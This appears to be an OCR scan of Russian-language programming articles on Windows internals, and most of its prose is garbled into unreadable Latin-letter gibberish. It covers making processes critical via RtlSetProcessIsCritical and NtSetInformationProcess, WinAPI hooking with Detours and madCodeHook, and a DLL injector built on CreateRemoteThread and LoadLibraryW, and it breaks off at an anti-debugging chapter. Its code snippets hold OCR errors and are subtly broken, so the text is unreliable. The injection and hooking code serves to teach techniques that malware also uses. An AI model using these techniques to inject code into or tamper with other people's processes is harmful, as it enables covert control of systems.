Hpyro# cnoco® nonyuuth ee — 510 HathBHas (yHkuus RtlAdjustPrivilege: HyxHO
nepeaarb € B kayecTse nepsoro napamerpa sHavenue 20 (SE_DEBUG_NAME). Pa3y-
MeeTcs, epesl BbI30BOM 3ToH (yHKLMM ee azapec cieayet noayunuts u3 ntdll.dll tuHamu-
YECKH.
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Be130B GyzeT BbIrIsA€Th TAKMM 00pa3oMm:
PBOOLEAN pbEn;

RtlAdjustPrivilege (20, TRUE, FALSE, pbEn);

Hrak, npuBunierns noiayyeHa, NpucTynaeM K peai3alii OCHOBHOH ()yHKIIMOHAIbHOCTH:

typedef NTSTATUS (NTAPI *pRtlSetProcessIsCritical) (BOOLEAN bNewValue,
BOOLEAN *pbOldValue, BOOLEAN CheckFlag) ;

bool set proc critical()
{

PRtlSetProcessIsCritical RtlSetProcessIsCritical =
(pRt1lSetProcessIsCritical)GetProcAddress (LoadLibrary ( ("ntdll.d11")),
"RtlSetProcessIsCritical");

if (NT_SUCCESS (RtlSetProcessIsCritical (TRUE, 0, FALSE))) return TRUE;
else return FALSE;
}

3neck Bce nmoHATHO: ¢yHKumio RtlSetProcessIsCritical nonmyyaem 1HHaAMHUYECKOH JIMH-
koBkod cpeactBamu GetProcAddress/LoadLibrary nanpsmyio u3 ntdll.dll. Camas
UHTEpeCcHas CTpOUKa KoJa [yl Hac — CleqyoLIas:

if (NT_SUCCESS (RtlSetProcessIsCritical (TRUE, 0, FALSE))) return TRUE;

3neck Mbl niepenaem 3HadeHre TRUE, ykasviBas ¢pynkimu RtlSetProcessIsCritical cne-
JaTh npouecc KpUTUYHBIM. OJHOBPEMEHHO MBI MPOBEPSEM BO3BpaLIaeMoe €il 3HaYeHHe,
U B ciyyae ynaaud Hama ¢yHkuus Bo3Bpawjaer TRUE. Ecnu BbeizBath RtlSetPro-
cessIsCritical ¢ mapamerpom FALSE, npouecc nepectaHeT ObITh KPUTHUHBIM.

JlaBaii komHeM HeMHOro riyOxe u pasOepemcs, Kak HMMEHHO paboTaeT QyHKLUS
RtlSetProcessIsCritical. Ona BbizbiBaeT ¢yHkumio NtSetInformationProcess u3 Native
API, xoropas obpawmaercs k PEB npouecca u menser B Hem mnone ThreadBreak-
OnTermination — 0HO W OTBeuaeT 3a TO, YTOOBI OMEpALMOHKA CUMTAaja Hall MPOLECcC
KPUTHYHBIM.

Bnok okpyxeHnus npouecca (Process Environment Block, PEB) 3anonHseTtca 3arpy3yvkom
onepauMoHHOW CUCTEMbI, HAXOAUTCA B aApeCHOM MPOCTPaHCTBE npouecca U MOXeT ObiTb
MoandMUMpPOBaH U3 pexuma usermode. OH COAEPXUT MHOTO MOSIEN — Hanpumep, oTcloaa
MOXHO y3HaTb MH(OPMAaLMIO O TekyLleM moayne, 06 OKpYXXEHWUU, O 3arpy>XEHHbIX MOAYNAX.
Monyuuts cTpykTypy PEB MoxHO, o6GpaTtuBLUMCE K Helt Hanpsimyto no aapecy fs:[30h] ans
x86-cucrem u gs:[60h] ans x64.

Takum o6pa30M, MBI MEPEXOJUM KO BTOpOMY METOAY, KOTOpLIﬁ NpOAEMOHCTPUPYET HAM
CO3JaHHUE€ KPUTUYHBIX MPOLECCOB.

NtSetinformationProcess

NtSetInformationProcess — 310 HaTuBHas QYHKIHS, KOTOpas MOMOXKET HAM U3MEHHTh
3HayeHue nons ThreadBreakOnTermination B PEB Ha HyxHoe Ham. Anpec 3Toi
¢byHKUMH HeoOXoauMo Moy4yuTh AuHamuuyecku u3 ntdll.dll, kak mbl yxe nenanu
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¢ RtlSetProcessIsCritical. 3ToT MeToA yHHUBEpCalleH, MOCKOIBKY, UCIIONb3Ys 3Ty (YHK-
LMIO, MBI OOecreYMBaeM COBMECTHMOCTb C Oonee crapeiMu BepcusmMu Windows:

RtlSetProcessIsCritical nosBunace Toiasko B Windows 8.

Peanusauus OyeT BBIMIAAET CleIyOUM 00pa3oM:

typedef NTSTATUS (WINAPI *pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS,
PVOID, ULONG, PULONG) ;

pNtSetInformationProcess NtSetInformationProcess =
(pNtSetInformationProcess)GetProcAddress (LoadLibrary(("ntdll.d11")),
"NtSetInformationProcess") ;

bool set proc_critical (HANDLE hProc)

{
ULONG count = 1;

if (NT_SUCCESS (NtSetInformationProcess (hProc,
0x1D, // ThreadBreakOnTermination B cTpykType PROCESSINFOCLASS
&count,
sizeof (ULONG) ) ))
return TRUE;
else return FALSE;
}

B ¢ynkumio NtSetInformationProcess mepenaem xeHu1 mpouecca, KOTOpbiii Oynem
nenatb KpuTHuHbiM, U uyucno 0x1D, kotopoe o3nauaer ThreadBreakOnTermination

B ctpyktype PROCESSINFOCLASS.

lNpoBepka KPUTUYHOCTU Npouecca

Teneps, MOHUMasA, Kak ONepaLlMOHHAs CHUCTEMa OINpENENseT CTaTyC HALIMX MPOLIECCOB,
 3Had, kakre uMeHHO pyHkumuKn WinAPI u NTAPI ona npu 3ToM HCnosb3yeT, MbI JIETKO
CMOJKEM OTIPEZENIUTD, SBNAETCS JIM Mo00# nmpouecc KpUTHYHBIM Wi HeT. Kak o6bIuHO,
BOCIOJIb3yeMCS Cpa3y HECKOJIbKUMH METOAAMHU:

BOOL check critical (HANDLE hProc)

{
ULONG count = 0;

if (NT_SUCCESS (NtQueryInformationProcess (hProc,
0x1D, // ThreadBreakOnTermination B cTpykType PROCESSINFOCLASS
&count,
sizeof (ULONG) ,
NULL)) && count)
return TRUE;
else return FALSE;
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3nech B pyHkuuio NtQuerylnformationProcess nepenaercst XeHI HHTepeCYOLIEro Hac
npouecca, ¥ none B ctpyktype PROCESSINFOCLASS, xoTtopoe Hy>XHO NMpPOBEpHTb.
ITocne BoimonHenus ¢yHkumn NtQueryInformationProcess npoBepsieM NepeMEHHYIO
count, KOTOpas CTaHET paBHA €AMHULIE, €CJIU MPOLIECC KPUTUUHBIH.

Kpome ¢yHnkumn NtQueryInformationProcess, ects crienuanbHas (GyHKLHMS, NpeaHa-
3Ha4E€HHas UMEHHO 1y Hawux Hyxa, — IsProcessCritical. Ee nporoTun BeIrnsauT Ta-
KHM 00pazom:

BOOL IsProcessCritical (HANDLE hProcess, PBOOL Critical);

ITpumep ucnonp30BaHUS 3TOW QYHKLMH:
PBOOL test = FALSE;

if (IsProcessCritical (GetCurrentProcess (), test))
{
if (test) std::cout << "Critical process\n";
else std::cout << "NOT critical process\n";

}

Oynkius IsProcessCritical usmenur nepemennyto test Ha TRUE, ecnu nmpouecc kpu-
TU4HbIH, unu octaBut FALSE B ToM ciiydae, eciiu 3TO He Tak.

BeiBoabl

B aT10ii cTaThe s nocrapasncs pacckasarb, UTO TaKOe KpUTHYHBIE npoueccsl, kak OC pea-
TUpyeT Ha MX 3aBepuieHue. Taioke Mbl y3HAIH, Kak CHATb (p1ar KPUTUUHOCTH € IpoLecca,
4T006BI ero 6e300/1€3HEHHO 3aBEpILUTh, U KaK POrpaMMHO NPOBEPUTD, ABJIAETCS JIU MPO-
1ecc KpUTUYHBIM. S| Hazmeloch, 4To Thl He Oyzelb MPUMEHATh MOMYUeHHYIO MHpOpMa-
LIMIO B IECTPYKTHBHBIX HensX. Hy, pa3se uTo 1uis mIyTok Haj Apy3bamu!
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8. Kak nepexBaTtbiBaTb ynpaBneHue
noodoun nporpammon yepes WinAPI

Nik Zerof

TexHosorus nepexpara Bbi30BOB GyHKuMi WIinAPI u3BectHa yxe 1aBHO, OHa 4acTo Mc-
MoJIb3yeTcs Kak B TPOSIHAX M BHpycax, Tak U B cHUddepax, TpedHepax /Ui Urp, a TakkKe
B JIFOOBIX CUTYyalMsX, KOI/Ia HY’HO 3aCTaBUTb UYXKO€ NMPUI0KEHHUE BBIMOIHATh KO/, KO-
TOPOro TaM HUKOrJa He Obu10. S pacckaky, Kak Mojib30BaThCs 3TOW MOTYy4Yel TEeXHUKOM,
a 3aTeM Mbl HanuiieM OMOIMOTEKY repexBaTa METO/I0M CIUIalCHHTa.

Kakue ObiBaloT Xyku

JloBywiku (hook) moryt ObIThb pexxuma rmnosb3oBartess (usermode) W pekuma sapa
(kernelmode). YcraHoBka XyKOB pekuMa MOJIb30BATENS CBOJIUTCS K METOY CIUIaliCMHIa
1 merony npaBku Tabauu IAT. OrpaHuyeHHs 3TUX METOJAOB OYEBM/HBI: MEPEXBATUTh
MOXHO ToJbKO userspace APIL, a BoT no ¢ynkumii ¢ npepuxcom Zw*, Ki* u npouux
«AIEPHBIX» U3 PEKMMA NOJIb30BATENS JOTAHYTbCS HEJIb3S.

VYcraHOBKa XYKOB peKHUMa sijipa 1M03BOJISeT MEHSTh J100YI0 HH(POpMaLHIO, KOTOPO# ore-
pupyer Windows Ha caMOM HU3KOM ypoBHe. [71s nepexBaToB nogo0HOro Tumna HeoOXo-
aumo Moauduimposath Tabauusl SSDT/IDT nubo mensts camo teno dynkumu (kernel
patch). Hano ckasath, uro B Windows Ha apxutektype X64 sAp0 KOHTPOIHPYET CBOIO
LeJ0CcTHOCTD npH nomoluu mexanusma KPP (Kernel Patch Protection), kotopsiii siBisiet-
cst yacteto PatchGuard u nmpocto Tak noaoOHbIe MAaHUMYJISLMK C CUCTEMHBIMH TabIuLIa-
MH C/IeJ1aTh He MO3BOJIUT.

NMouyemy xyku paGoTtaroT?

Korpa Windows 3amyckaeT npuiioskeHHe, CO31aeTcsl ero npouecc W MOTOKH, 3arpy34yuK
OC wuuleT 3aBUCUMOCTH JHHAMUYECKHX OMOIMOTEK, KOTOpbIE HYKHbI /isi pabOThI Mpo-
rpammsl. [Touck BegeTcst cHavasia B mnarke, rae HaXOAMTCS MCTIOJIHSeMBbI (aiil, aanee
B HECKOJIbKMX CHUCTeMHbIX nankaX. [locie Toro kak Hy)kHble OMOJIMOTEKM HaMIEHBI,
OMpeesoTess HeoOXoAuMble s paboThl GYHKLMH, COCTaBaseTCs TabIHLa 3aBHCUMO-
cted hyHKUMI ¥ OUOAMOTEK, r/ie OHM HaxoAsTcs. [IporpaMma MOMHHUT BCE 3TH JAHHBIE U
noJb3yeTcss UMK NpH Bbi3oBe (ynkumi. Hawa 3azaya — 3arpy3uth B aapecHoe npo-
CTPAHCTBO NMPHUIIOKEHUS Hally OMOIMOTEKY W MCTIPaBUTL TabJIMIYy 3aBUCMMOCTEH B Mpo-
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rpamme Takum o0pazoM, uyToObl OHa Aymana, OyaTo GyHKLHH, KOTOpbie €l Hy>KHbI, Ha-
XOJATCS MMEHHO B Halleit Oubaroreke, a He B TOM, Tie OHU ObUTH paHblLe.

Cnnaucunr cpyHkumn WinAPI

Mponor ¢pyHKUKMA, TpPaMNNKUH
¥ ausaccemoOnep ANMH UHCTPYKLUN

Oynkuun WinAPI HauMHaloTCs ¢ mpoJjiora — 3TO CTaHAAPTHBIA KOJ, OTBEYaIOIWH 3a
GanaHCUPOBKY CTeKa Uil KOPPEKTHOTO JOCTYNa K JIOKAJIbHBbIM MEPEeMEHHBIM, KOTOpbIe
ucnosnbsyet GyHKUUs. OOBIYHO MPOJIOT BHIMJISIUT TAKMM 00pa3oM:

mov edi,edi
push ebp
mov ebp, esp

B GonbumHeTBe (yHKIMIA OH OJIMHAKOB, U MO3TOMY Ha €ro MECTO MOXKHO 100aBUTh HH-
CTPYKLHMIO O€3yCcIOBHOro mepexoja jmp, KOTOpas MepenacT yrnpapieHHWe Ha Haul KOA.
DTO Ha3bIBAaeTCs «TPAMILUIMH» — Mbl MPOCTO YBOAMM TMOTOK BBIMOJMHEHHUS (YHKLHMH
B Hall KOJ, I/l JeJlaéM BCe, YTO XOTHUM: MO)XEM TMOJMEHHTh pe3yJbTaT BbINOJIHEHHS
(GYHKLMHU, MOXKEM BbI3BaTh KAKOKH-TO Ipyrod KOJ, 3aIyCTUTh MPOLIECC — OAHUM CIIOBOM,
maccy Bcero. Ho uto6bl rpaMOTHO peann3oBaTh nepexBaTyMK (QYHKLHMHA METONOM CIuIai-
CHMHIa, HaM Hy>KeH Ju3acceMOiep JJTMH HHCTPYKLHH.

[usaccembnep AnNvH NO3BONSAET BLIMUCNATL ANMHBI KOMaHA npoueccopa. YacTto ucnonbay-
eTcs ANA aHanu3a Nponoros yHKLWUNA.

3ayeM HaM UCMOJIb30BaTh Au3acceMOiep AIHH, €ClIM Mbl M TaK 3HaeM MpoJior GyHKUMi?
Jeno B ToMm, uTo nponoru ¢pyHKuMid oTiMyatotes. He xorenoch 6 MOCTOSIHHO 3arsbl-
BaTh B Au3acceMOsiep ¥ MPOBEPATh, MOAXOJUT JIH MPOJIOT OYEPEeIHON NMepexBaTbiBAEMOH
(dyHKUMM MOA Hall crutaiicep. B HeM Besib 4eTKO MPOMMCaHO, KaKoe KOJIHYecTBO 6aiTOB
MbI OyZIeM UCIT0JIb30BaTh.

B ToM cityuae, eciii Mbl «KHaCTpOMMY Hally (GyHKLHIO CIUIalCUHra Ha CTaHJapTHBIH Mpo-
JIOT, @ OH OKa)KeTCsl IPyTHM, TO TMOCIIe peaTu3aliy NepexBaTa BbIIIOJHEHHE MOXKET MOMTH
HE C Hayaja MallMHHOM KOMaH/Ibl, a C KaKoi-To ee yacTH. OJHUM CIIOBOM, MbI ITIOBPEIUM
KOJl IPOrpaMMbl, OHa BBI30BET MCKIIIOYEHHE U OyAeT aBapHiHO 3aBeplleHa OMNepaLUoH-
HOH cucremoii. Ecnu ke ucrnonb3oBaTh au3acceMOiep UIMH MHCTPYKLMH, TO cruiaicep
BCErja TOYHO OynaeT 3HaTh, I/l HauMHAETCs Cleqyrollas WHCTPYKLMS, U KOPPEKTHO
BCTPauBaTh TPAMIUIUH.

Bubnuoteku onsa nepexsara

Kak Tbl yxe MoHsJI, Ul HarMcaHUs KaueCTBEHHOrO YHHBEPCAJIbHOTO Crulaiicepa ¢yHK-
LMK HY>KHO 3aTPaTUTh MHOTO CHJI U BPEMEHH, M Jaxke KPYIHbIe GUPMbI MPEINOYUTAIOT
IUIS CBOMX TMPOEKTOB MOKYIATh FOTOBbIE OMOJIMOTEKH, peau3ytolre nepexBarsl QyHK-
LUH.
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MbI paccMOTpUM JIBa MOMYJISPHBIX KOMMepueckux peweHus: Detours mpou3sBoacTsa He-
nocpenctBeHHo Microsoft u 6udauorexy madCodeHook. ITouemy umeHHO 3TH aBe OHO-
nuoteku? Ha HUX MOXKHO peasM30BaTh MEpexBaT C MUHUMYMOM KOJA, YTO KaK HeJb3s
aydine moaxoauT ans oOyudenus. [lonHble Bepcuu obeux GMOIMOTEK MUIaTHBIE, HO VIS
00y4eHHsI MOKHO JTHOO MCTIONB30BAaTh OrpaHUYEHHbIE OecIulaTHbIE BEPCHH, THOO MOKY-
naTth MOJHbIe, TUOO... Hy, Thl 3Ha€lLlIb.

C roToBoii 6ubIHOTEKOH MBI Oy1EM YBEPEHBI, YTO:

(J B Hel BCTPOEH Ka4yeCTBEHHbIM au3acceMOiep UIMH, KOTOpPbIA HE MCITyraercs pa3Ho-
obpasHbix pyHkuuit WinAPI;

0 BCTpOeH crieUHaltbHbIi KOPPEKTOP KOJA, CrIOCOOHBIH paboTaTh BMecTe ¢ (DyHKLMEH,
peanusyolel TpaMIUIUHBL,

O npu cbopke nmpoekTa OyayT UCMOIb30BaHbI OJIOKH YCTIOBHOH KOMITHIIALIMM KOZIa MU Ham
He NPHIETCA MEHSTh CHHTAKCHUC MEPeXBaTOB IIPU CMEHE apXUTEKTYp X86 u x64.

Onuum cioBoM, Mbl Oyaem yBepeHsl, uto B Haweid DLL okaxyTcs Bce HeoOXoaumbie
byHKIMY.

TecToBOE NnpunoxeHue

Jlns Havajia 3KCTIEPUMEHTOB C MepeXBaTaMH HalUILEM TECTOBOE NMPHIOKEHHE, Ha30BEM
ero testl.exe. OHO HuYero He aenaer. TouHee, mpocTo xaeT 60 ceKyHA, HUCTIONB3YS
dyukunio WinAPI Sleep(), a notom 3akpeiBaercs. S BeiOpa 3Ty QyHKUMIO CELHAIBHO,
9YTOOBI OBIJIO TTOHATHO, YTO W3HAYAILHO Hallle NMPHJI0KEHHE HECTIOCOOHO, HarpuMep, Co3-
naeath ¢aiinsl. Ko nporpammMel OyneT Takum:

#include <Windows.h>
#include <iostream>

void slp();

int main()

{
int X§

std:cout << "Enter 1: \n";
stdssein > xi

if (x == 1) slp();

return 0;

}

void slp()

{
Sleep (60000) ;

}
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31ech Bce MOHATHO: MPH 3alycKe MpUIOKeHHe 0kuaaeT Beoaa uudpsl 1, motom 3amyc-
kaeT ¢pyHkuuio Sleep(). Ham 310 HeobxoaumMo, 4ToGbl MporpamMMa He 3aKpbuUiach CIIULL-
KOM OBICTPO W MOBHCE/Ia HEMHOTO B MaMATH, OkMaas BBojAa. Hy M 3a0/1HO HalIMX MHbEK-
UM GMGIMOTEKH MepexBara B €€ aJipecHOe MPOCTPAHCTRO.

Teneps nepexoaum k peaM3auuu camoi AMHaMU4Yeckoi 6ubauorexu. Hama 6ubnmore-
ka (Ha3oBeM ee HookA.dll) nepexBatbiBaeT Bbi3oB Sleep() U 3aMeHs€T €ro BbI30BOM
CreateFile, kotopsiit co3aer B kopHe aucka C: myctoii ¢aiin no umenu virus.exe. CHa-
Yajia Koj ¢ Mcrnosb3oBaHueM Oubinorexu Detours:

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include "detours.h"

VOID(WINAPI * TrueSleep) (DWORD dwMilliseconds) = Sleep;

__declspec (dllexport) VOID WINAPI MySleep (DWORD dwMilliseconds)
{

HANDLE hFile = CreateFile(L"c:\\virus.exe", GENERIC WRITE, 0, NULL,
CREATE_ALWAYS, FILE ATTRIBUTE NORMAL, NULL) ;

CloseHandle (hFile) ;
}

BOOL WINAPI Dl1lMain (HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
if (dwReason == DLL PROCESS ATTACH)

DetourRestoreAfterWith () ;
DetourTransactionBegin() ;
DetourUpdateThread (GetCurrentThread () ) ;
DetourAttach (& (PVOID&) TrueSleep, MySleep)
DetourTransactionCommit () ;

return TRUE;
}

[Ipu wucnonb3oBanuu Detours mnepexsar peanusyercs cTpokoid DetourAttach(&
(PVOID&)TrueSleep, MySleep), KkoTopas Bbi3bIBa€T BHYTPEHHIOW  (YHKLHIO
DetourAttach ¢ napamerpamu nportotuna Hactosied ¢yHkuuu Sleep() no umenu
TrueSleep, u ee noaaenkoi, kotopyto Hanucanu Mbl (MySleep). BasxHo nmonumars, 4To
Hawa QyHKUMS J10/DKHA COOTBETCTBOBATh OPUIMHATY MO MapaMeTpaM M KOHBEHLIMAM Bbl-
30Ba.

Tenepb Bce TO ke camoe, TOJIbKO ¢ ucrosb3oBaHueM Oubanoteku madCodeHook:

#include "stdafx.h"
#include <windows.h>
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#include <iostream>
#include "madCHook.h"

VOID (WINAPI * TrueSleep) (DWORD dwMilliseconds) = Sleep;

__declspec(dllexport) VOID WINAPI MySleep (DWORD dwMilliseconds)
{

HANDLE hFile = CreateFile(L"c:\\virus.exe", GENERIC WRITE, 0, NULL,
CREATE_ALWAYS, FILE ATTRIBUTE NORMAL, NULL);

CloseHandle (hFile) ;

BOOL WINAPI Dl1lMain (HINSTANCE hinst, DWORD dwReason, LPVOID reserved)

{
if (dwReason == DLL PROCESS_ATTACH)

{
HookAPI ("User32.d11l", "Sleep", MySleep, (PVOID*) &TrueSleep);

return TRUE;
}

Kon peanuzalMu  MNpakTH4YeCKM HE  W3MEHWICA, 3a  MCK/IIOYEHHEM  CTPOKH
HookAPI("User32.dll", "Sleep", MySleep, (PVOID*) & TrueSleep); u noaritoueHus
3arosioBouHoro ¢aitna madCHook.h. B 310if cTpouke koaa Mbl BUAMM, 4TO (YHKLHS
Sleep u3 cucremnoi 6ubnnorexu User32.dll 6yner 3ameHeHa Haiuei peanu3auueii.

Mepen TeM Kak YTO-TO MepexBaTbiBaTb, HYXHO MOHUMATb, YEro Mbl XOTUM 3TUM A06UTLCS.
Mbl XOTUM MeHSITb NyTU cCoxpaHeHusa pabounx AaHHbIX Nnporpammsl? MNyTaTe dyHkuMn? Ca-
6oTupoBaTh BbiuMcneHua? B nobom cnyyae Ans uccneaoBaHUS NPUMOXEHUS HAM NOHado-
6utcs API Monitor, nporpamma, koTtopas nokasbiBaeT, kakue dyHkuun WInAP| ucnonb3yet
NPUNOXeEHUe.

Hrak, nosonsiTHOE MpHIOKEHHE IOTOBO, Hallla «BUpyCcHas» OuOIHOTEKa TOXKe, Tenepb
ocTanoch pa3odparbes, Kak MOXKHO 3actaBuTh DLL npuuenurtses k Hamemy npuioxe-
HUIO. J[71s1 3TOro eCcTh HECKOJIbKO CrOCOO0B, MBI PACCMOTPHUM Ba M3 HUX.

ITepBbiii cnocob 3akmouaercs B UCoib30BaHUM npuiaokeHus withdll.exe, kotopoe uner
BMecTe ¢ 6ubnuorekoit Detours. Eciin nmonouth 3T0 NpuiiokeHUe B OAHY Manky ¢ Ha-
muMH (aiinamu testl.exe 1 HookA.dll, npucoenuuuts 6MOGIHOTEKY-NIEpeXBaTUHK MOXK-
HO KOMaHJOM withdll.exe -d:HookA.dll testl.exe. [lanee mpunoxxenue withdll.exe
3aIyCTUT Hail ¢aiin testl.exe ¢ y>xe npucoeInHEHHOH OUOJIHOTEKOM.

310 Hey0OHO M He Bcerja MoAXOoAUT HaMm. UTo, eciii Hy)KHO HHXKEKTHpPOBaTh OMOIMOTE-
Ky-TepexBaTumK B yxe pabotatoiuid npouecc? Bropoii crnocob 3akiiovaercs B Hammca-
HHHM TIPUIIOKEHHUS-MHKEKTOpa, KOTOpPOEe MPUCOEIMHHUT Haully OUOIHOTeKy-nepexBaTuuK
K paboTatoLiemMy npoueccy.
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UHxekTop

Jlns npaBuibHON paboThl MHXKEKTOpa HaM Hy»HO nony4yuts npuswieruio SE_ DEBUG_
NAME. HamuieM yHuBepcanbHyO (YHKLHIO, KOTOpas MOJyYUT HY)KHYIO HaM MpHBHU-
neruto. Ee-To Mbl 1 mepeaaaum B KauecTBe apryMeHTa:

BOOL setPrivileges (LPCTSTR szPrivName)

{

TOKEN_PRIVILEGES tp = { 0 };
HANDLE hToken = 0;

tp.PrivilegeCount = 1;
tp.Privileges([0].Attributes = SE_PRIVILEGE ENABLED;

if (!OpenProcessToken (GetCurrentProcess (), TOKEN ADJUST PRIVILEGES, &hToken))
std::cout << "OpenProcessToken failed\n";

if (!LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0].Luid))
std::cout << "LookupPrivilegeValue failed\n";

if (!AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
std::cout << "AdjustTokenPrivileges failed\n";

CloseHandle (hToken) ;
return TRUE;

return FALSE;

Be3oB ¢pyukuun niis nonyuenus SE_ DEBUG_NAME 6ynet Takum:

setPrivileges (SE_DEBUG NAME) ;

Tenepb anst paboThl MHKEKTOpA HYXKHO HamucaTh (yHKIHMIO, KoTOopas Oyaer nomydaThb
PID npouecca a5 MHXeKTa MO ero UMEHHU:

DWORD getPIDproc (wchar t * procname)

{

DWORD pid;
HANDLE pHandle = CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, O0);:

PROCESSENTRY32 ProcEntry;
ProcessEntry.dwSize = sizeof (ProcEntry);

do
{
if (! wcsicmp (ProcEntry.szExeFile, procname))
{
DWORD pid = ProcEntry.th32ProcessID;
CloseHandle (pHandle) ;
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return pid;

}
} while (Process32Next (pHandle, &ProcEntry));

CloseHandle (pHandle) ;
return 0;

}
Bce roroBo a1 HarmMcaHWs OCHOBHOTO KoJa HHXKEKTOpa. le/lCTyHHM!

BOOL inject ()
{

HANDLE victProc = OpenProcess (PROCESS CREATE THREAD
| PROCESS QUERY INFORMATION
| PROCESS VM OPERATION
| PROCESS VM WRITE
| PROCESS_VM READ,
false,
getPIDproc (proc)) ;

if (victProc) {

LPVOID pPathBuffer = (PWSTR)VirtualAllocEx(victProc, NULL, dwSize,
MEM RESERVE | MEM COMMIT, PAGE READWRITE) ;

if (pPathBuffer == NULL) std::cout << "VirtualAllocEx err\n";

WriteProcessMemory (victProc, pPathBuffer, (PVOID)path, dwSize, NULL);
if (pPathBuffer == NULL) std::cout << "WriteProcessMemory err\n";

HANDLE hRemoteThread = CreateRemoteThread (victProc, NULL, O,

(PTHREAD START ROUTINE)GetProcAddress (GetModuleHandle ("kernel32.d11"),
"LoadLibraryW"),

pPathBuffer, 0, NULL);
if (hRemoteThread == NULL) std::cout << "CreateRemoteThread err\n";
else {
CloseHandle (hRemoteThread) ;
return TRUE;
}
return FALSE;

}
U BbI3bIBAIOLIMIA BCE 9TH (QYHKLIMH KOA:
int main()

{

setPrivileges (SE_DEBUG NAME) ;
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std::cout << "testl.exe: " << getPIDproc (proc) << "\n";

inject();
}

Ilocne BeimosHeHust 1ol nmporpammsel B Process Explorer (puc. 8.1) Mbl cmoxem yBU-
J€Th, UTO K MpoLeccy rmoa umeHeM testl.exe npucoenunuiach 6ubnuoreka HookA.dll,
a IpH BBOJE CMMBOJIA 1 B Hallle NpHIIoKeHHe B KopHe aucka C: nossnsercs myctoi daiin
virus.exe.

Bx Process Explorer - Sysinternals: www.sysinternals.com [COMPUTER\admin]

File Options View Process Find DLL Users Help
dREROB E < 8| | e — | I
Process CPU  Prvate Bytes b SSL PID Description Company Name
[#5]dragon_updater.exs 4456K 11928 K 1280 Comodo Dragon Comodo
[a5jcsssrvbd exe o201 9204K 18 340K 2108 COMODO Secure Shopping  COMODO
[5E cmdagent exe 006 28304 K 18524 K 2344 COMODO Intemet Securty ~ COMODO
[#5svchost exe 8172K 15168 K 3000 XocTnpouece ana cnyxb ...  Microsoft Coporation
[#5)svchost exe 5124K 13236 K 4332 Xoctnpouecc ans cnyx® ...  Microsoft Corporation
= [W5EMET _Service exe 22035K 22372K 3088 EMET Service Microsoft Corporation
@ EMET _Agert exe o001 44396 K 39916K 4872 EMET_Agent Microsoft Comporation
7 Isass exe <00 8012K 13984K 836 .
rss.exe o021 2008 K 7196K 708 ﬂbouecc nenonHeHns knve... Microsoft Corporation
= g7 winlogon exe 3924K 103964K 788 Mporpamma exona B cucTe... Microsoft Corporation
[EE]dwm exe 008 46 376K 46 118K 538 Ouenetvep okoH paBouero ... Microsoft Corporation
[#=)fortdrvhost .exe 2508K 4156 K 4204 Usemnode Font Driver Host Microsoft Corporation
[} gy explorer exe an 104 340K 121644 K 3564 Mposoanmk ~ Microsoft Corporation
26024K 4156 MEGAsync Mega Limited
S 13 5380 Console jow Host
4 procexp64 exe 121 19884K 4D 450K 1896 Sysintemals Process Bxplorer  Sysintemals - www sysinter. .
Name Description Company Name Path
crypt32.dil API32 kpunTorpadum Microsoft Corporation Cx\Windows\System32\crypt 32.dil
cssguard64.dil COMODO Secure Shopping COMODO CWindows \System 32\cssguard84 dil
fitLib.dil EuBnuoTexa eunstpos Microsoft Corporation C:\Windows"System32\fit Lib dil
gdid2.dil GDI Client DLL Microsoft Comporation C:A\Windows'\System32'gdi32.dil
gdid2full dil GDI Client DLL Microsoft Corporation C:\Windows\System32\gdi32full dil
guand64.dil COMODO Intemet Security COMODO C:AWindows\System32\guard64 dll
hmpalert il HitmanPro Alert 84-bit Support Libr... SurfRight B.V. CA\Windows\System32\hmpalert dif
HookAdl A HoolkAdl
imm32.dll Multi-User Windows IMM32 API Cli... Microsoft Corporation C:AWindows\System32\imm32 dil
kemel32.dll Bubnuoteka knuerta Windows N... Microsoft Corporation C:\Windows\System32\kemel32 dil
KemelBase dll BuBnuoTeka knuenTta Windows N...  Microsoft Corporation C:\Windows\System32\KemelBase dil
locale nls C:¥indows\Systemn32\locale nis
msasn 1.dl ASN.1 Rurtime APls Microsoft Corporation C\Windows\System32\msasn1.dll
msvep_win.dl Microsoft® C Runtime Library Microsoft Corporation C:\Windows'\System32\msvep_win.dil
msvep 140d dil Microsoft® C Rurtime Library Microsoft Corporation CA\Windows\System32\msvcp 140d.dil
msvert.dil Windows NT CRT DLL Microsoft Corporation C:\WindowshSystem32\msvert dll
ritdll.dil CucremHan Bubnuotexa NT Microsoft Comporation CAWindows\System32°ntdll dil
ole32.dll Microsoft OLE ana Windows Microsoft Corporation C:\Windows"System32'ole 32 dll
CPU Usage: 3.88%  Commit Charge: 33.76% Processes: 72 Physical Usage: 40.94%
Puc. 8.1. PeaynbTat paboTsl nHxekTopa
Utorm

Ms! no3HaKOMHUIUCH ¢ MexaHu3MoM nepexBata WinAPI-dQyHkuui, noneiTaiuch BHUK-
HYTb B TEXHMUYECKYIO CTOPOHY Mpoliecca rnepexsara U peaj3oBajiv y4eOHbIH mepexsar
¢byHkumu Sleep() B TecToBoM npuioxkenun. Tenepp y TeOs 10CTATOYHO 3HAHHWH U OTBITA,
4TOOBI MPOJODKUTE H3yUeHHE TEMbI IIEPEXBATOB CAMOCTOSATENBHO.



9. AHTHOTNAaAkKa.
Teopusi U NpakTUKa
3aluThbl NPUIIOXXEeHUN OoT aebara

Nik Zerof

K MeTomam JeTeKTHpOBaHMS OTJIAIAKH MPUOEraloT MHOTHE MPOrPaAMMHMCTBI: OJJHH XOTeH
Obl yOepeub CBOM MPOAYKTbI OT KOHKYPEHTOB, JIpyrde MPOTHBOCTOST BHUPYCHBIM aHAllU-
THKaM WJIM aBTOMaTHMYeCKHM CHCTEMaM pacro3HaBaHWs MaiBapH. Mbl B moapoOHOCTAX
paccMOTPHM pa3Hbie MeTO/bl 6OpbObI ¢ 1e6aroM — OT MPOCTBIX 10 JOBOJILHO HETPHBH-
aJIbHBIX.

[Tockonbky ceiiuac momysisipHa He TOJIBKO apxuTekTypa x86, Ho u x86-64, MHOrHe cTa-
pble cpeacTBa OOHapy»eHWs OTJIAA4YMKOB ycTapeiu. Jlpyrue TpeGylOT KOppeKTHPOBKH,
